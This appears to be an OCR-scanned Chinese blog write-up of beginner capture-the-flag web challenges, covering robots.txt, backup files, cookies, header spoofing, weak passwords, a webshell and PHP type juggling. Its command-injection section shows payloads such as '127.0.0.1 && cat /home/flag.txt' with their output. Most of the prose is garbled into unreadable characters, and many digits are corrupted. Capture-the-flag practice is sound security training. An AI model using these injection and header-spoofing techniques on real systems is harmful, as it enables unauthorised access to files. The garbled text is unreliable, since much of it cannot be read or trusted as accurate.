BB 5 -- webFr F 25> X -- writeupiL 2

ETM so_so00 o F 2019-09-22 172744 K AR o 1897 ﬁ Wi 4

SFERERE. ffFE%4E HENAR

FRAL A B . AN R REAISCE, BE CC 4.0 BY-SA SRAUHMY, ##iEM EE B M ARSI,
ASCHEREE: httpsy/blog.csdn.net/yisosooo/article/details/101076796
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% — i@ -- view_source

BERR: ReAREFEAERT. RisGRKNEZENEZ ——RERMNZEAMEED, Brela F12REFIRA
5. BiAr{g2lflag.

% /% -- get_post
FEE R HTTPIES BRI FiA s R vk, HTTPIE % (6 F Bifh i 5k )73 GETAIPOST.
F—H: BHHCGETHRRERZ —NM4E Na,BERN1HZE MWiEURL: hitp://111.198.29.45:52121/?a=1

B EEUPOST F RFEE R —AN 2 Nb[E A2 E. IS BN LI hackbariF R FF iU sh 7,
177 48 Fdnew hackbar&##&post)s R .

{» Hackbar v~ X

Encryption+ || Encoding+
@iload | 0 split | vRun |«

http://111. 198. 29. 45:5212
1/%a=1

Y| Enable Post data
bh=2

Tl Enable Referer


https://blog.csdn.net/yisosooo
https://blog.csdn.net/yisosooo/category_7152707.html
https://blog.csdn.net/yisosooo/category_8812652.html
https://blog.csdn.net/yisosooo/category_8812650.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/yisosooo/article/details/101076796
https://blog.csdn.net/yisosooo/category_7152707.html
https://blog.csdn.net/yisosooo/category_8812652.html
https://blog.csdn.net/yisosooo/category_8812650.html
http://111.198.29.45:52121/?a=1

8 =i -- robots

7L H % robots il . robots.txt (Zi—/NE) R—MAFHR T MR B X T HASCIG IS CA A, EEF S
VR 2 R 5 8 Ay (CURRMIZR AR LIl o B R 2 py 228 R AN RE A8 R 51 BE I8 Ui AR IR HY, WRLE
AU (G8UFAS) IREUHT

#—5: MHEURL: http:/111.198.29.45:58949/robots.txt, & 5

Disallow: flag 1s_h3re.php

B p. $EMIEURL: http://111.198.29.45:58949/f1ag_1s_h3re.php. 75 %lflag.

% I 35 -- backup
index.phpf &4 X4 4: index.php.bak.

#iEURL: http://111.198.29.45:49274/index.php.bak. 782K/ &flag.

% 1155 -- cookie
PIYEBEF12, W& T DA E N k.

- IR (307 =)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 276
Content-Type: text/html
Date: Fri, 20 Sep 2019 12:52:30 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: look-here=cookie.php

Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntud. 26

- - ——

K IcookiefE 327~ 1 Il cookie.php, T &t —25 1517 111.198.29.45:52236/cookie.php
TEcookie.php i mi Bz 3k H# & Biflag

~ HEEL (0 F5)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 253
Content-Type: text/html
Crate: Fri, 20 Sep 2019 12:51:31 GMT
|flag: cyberpeace{cbadT T T i
Keep-Alive: imeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.26

%75 /8 -- disabled_button

w <form action="" method="post™>
<input class="btn btn-default™ disabled="" style="height:sepx;width:2eepx;" type="submit" wvalue="flag"

name="auth">

o I E e

Hrdisableftl R BUE X Afalse, W13 E|flag.
B L -- simple_js


https://baike.baidu.com/item/ASCII%25E7%25BC%2596%25E7%25A0%2581
https://baike.baidu.com/item/%25E7%25BD%2591%25E7%25BB%259C%25E6%2590%259C%25E7%25B4%25A2%25E5%25BC%2595%25E6%2593%258E
http://111.198.29.45:58949/robots.txt
http://111.198.29.45:58949/f1ag_1s_h3re.php
http://111.198.29.45:49274/index.php.bak

Bt _EEGIEIME T https://blog.csdn.net/silence1_/article/details/89646016

% )\ i -- xff_referer

BH KRR xffiirefererf2 Al IR . xff&x forwarded forfti ik, RaJEIPHubL. refereric 3 H4RiE R
THI A SRR DU b . W] DO SRR BUX B Fh S 4.

ERIPH#i0E9123.123.123.123, FrbAE EE LN x-forwarded-for: 123.123.123.123

SR 5 response & 7~ A J13K A https://www.google.com, 4k 827E Sk FR s flireferer:  https://www.google.com.
R’ 2 F13Elflag.

% /L% -- weak_auth

fEusernamefipassword AEH BE B A, HIRR:

please login as admin

W2 usernamezadmin. BEH VIS, K IA check.phpf:, NG HIRR:
<body>

!——maybe you need a dictionary——>

TR IR, BRHN123456, EFElag. EREEMA123456EE T .

%18 -- webshell

FiH$R: php—HJiE#Eindex.php &, RAEREMHLTIT .

BN M AMF: https:/blog.csdn.net/silence1_/article/details/89672553

%+ —i-- command_execution

%ikping T — Fbaidu.com, HIpingHidn4, HEHKEREHEE. HR%EiK127.0.0.1, HIREEHEE:

ping -c 3 127.6.8.1

PING 127.0.8.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seg=1 ttl=64 time=0.844 ms
64 bytes from 127.8.8.1: icmp seq=2 ttl=64 time=0.857 ms
64 bytes from 127.8.8.1: icmp seq=3 ttl=64 time=0.853 ms

-- 127.68.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/favg/max/mdev = 8.844/8.0851/8.857/0.0088 ms

ABH R EA A Rwaf, U UZR—TRAGL.
#IN127.0.0.1 &&Is, HIK:


https://blog.csdn.net/silence1_/article/details/89646016
https://blog.csdn.net/silence1_/article/details/89672553

ping -c 3 127.8.8.1 && 1s

PING 127.0.8.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp seg=1 ttl=64 time=0.868 ms
64 bytes from 127.8.8.1: icmp_seg=2 ttl=64 time=0.855 ms
64 bytes from 127.8.8.1: icmp_seg=3 ttl=64 time=6.851 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.851/8.058/0.868/0.067 ms

WO IER, WL RAW L. ek I HKilag

|ping -c 3 127.@.8.1 && find / -name “flag.*" |

PING 127.8.8.1 (127.8.8.1) 56(B4) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=8.855 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=0.846 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.854 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/avg/max/mdev = @.846/6.851/8.855/6.089 ms

home/flag.txt

R 3flagihit 2 f5, &EFEflag

Iping -c 3 127.0.8.1 && cat /home/flag.txt I

PING 127.8.@.1 (127.8.8.1) 56(84) bytes of data.

64 bytes from 127.8.08.1: icmp_seq=1 ttl=64 time=8.853 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=8.857 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=8.856 ms

--- 127.8.8.1 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = @.853/6.855/8.857,/6.086 ms
fcyberpeace{492e3af320928h963324581770c 308bc }

%+ — & -- simple_php
PHPREGHTHKEH .
flags»r AP, flagififlag2. B4, flag1E R (Sa==0 and S$a), FIFPHPISZEI K4 m R 2 %14

FIRBIEPuPIET M ==K, SBFRHRRURAFRE, BHHTHR. BEMTRS RN, SBFR
B HONEUE.

ﬂ]iﬁ?a=0qwe, %%que%‘@t?ﬂo, W Rk, ﬁ@]flaglo

AAh, ATLME R R ARERGE R &, Hoel23 50BN, £¥0e123BH N, oNESETo0, U
DI B A HiE2a=0e123, BFflagl.

FAFM: (is numeric($b)) o is numeric () REARAMNBZERR G AR FRERFFZRH, MR

&, IRFEITRUE,
ARIGER, BEFflag2, BEFTEoANREFRERFZFZ/HHE, HH>1234,
RNTHRFZM, FH00EE, FohABFHERFZERFE. HWiE0=1235%00, BEflag2.

£k b, #i&?a=0qwe && b=1235%00, w15 Z|5EE KIflag.
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